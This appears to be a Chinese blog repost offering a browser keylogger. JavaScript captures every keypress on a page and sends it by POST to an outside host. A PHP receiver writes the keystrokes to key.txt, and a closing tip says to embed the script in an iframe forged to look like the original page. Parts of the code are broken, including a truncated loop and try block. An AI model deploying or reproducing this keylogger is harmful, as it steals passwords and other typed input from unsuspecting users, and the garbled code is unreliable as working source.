为什么80%的码农都做不了架构师?>>>
//创建ajax对象
function createAjax(){
var request=false;//window对象中有XMLHttpRequest存在就是非IE,包括(IE7,IE8)
if(window.XMLHttpRequest){
request=new XMLHttpRequest();if(request.overrideMimeType){
request.overrideMimeType("text/xml");
}
//window对象中有ActiveXObject属性存在就是IE
}else if(window.ActiveXObject){var versions=['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];for(var i=0; i
request=new ActiveXObject(versions[i]);if(request){
return request;
}
}catch(e){
request=false;
}
}
}
return request;
}
//注意: 要每次请求都要使用一个新的XMLHttpRequest
/*
如果使用get将数据传给服务器,则服务器就使用$_GET
就直接通过Url将数据传给服务器
使用POST时一定要使用 ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");*/
var ajax=null;
var xl="username=";
//这里呢 获取键盘
function onkeypress() {var realkey = String.fromCharCode(event.keyCode);
xl+=realkey; //自动累加获取键盘
show();//调用下面的函数
}
//调用这个函数 还有这个脚本是用onkeypress 方法获取的 比onup那些都要得多 不过不支持特殊字符例如退格
document.onkeypress = onkeypress;
function show(){ajax=createAjax();
//每当状态改变时激发此方法
ajax.onreadystatechange=function(){if(ajax.readyState==4){
if(ajax.status==200){
//此处为服务端已经做好了响应
var data=ajax.responseText;//alert(data);}else{
alert("页面请求失败");
}
}
}var postdate = xl;//获取过来的数据
ajax.open("POST", "http://blog.itxti.net/tools/wtitxt.php", true);//然后发送提交到post页面
ajax.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
ajax.setRequestHeader("Content-length", postdate.length);
ajax.setRequestHeader("Connection", "close");
ajax.send(postdate);//ajax.send(null);
服务端:
$code = $_POST["username"];
$file = fopen("key.txt","w");
fwrite($file,$code."\r\n");
?>
html引用 临时的跨域访问用js输出iframe包含 (内容要伪造和原页面一样)